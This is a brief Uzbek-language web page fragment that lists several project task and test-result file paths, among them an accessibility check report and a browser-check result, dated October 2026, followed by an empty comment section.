  • Kanon: vazifalar holat 08 (xususiyatlar/izoh/), natijalar/tekshiruv-08.txt, 08-axe.txt, brauzer-tekshiruv/natija-21-08.txt, natijalar/tajriba/kutubxonalar-21.txt (2026-10-17)
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!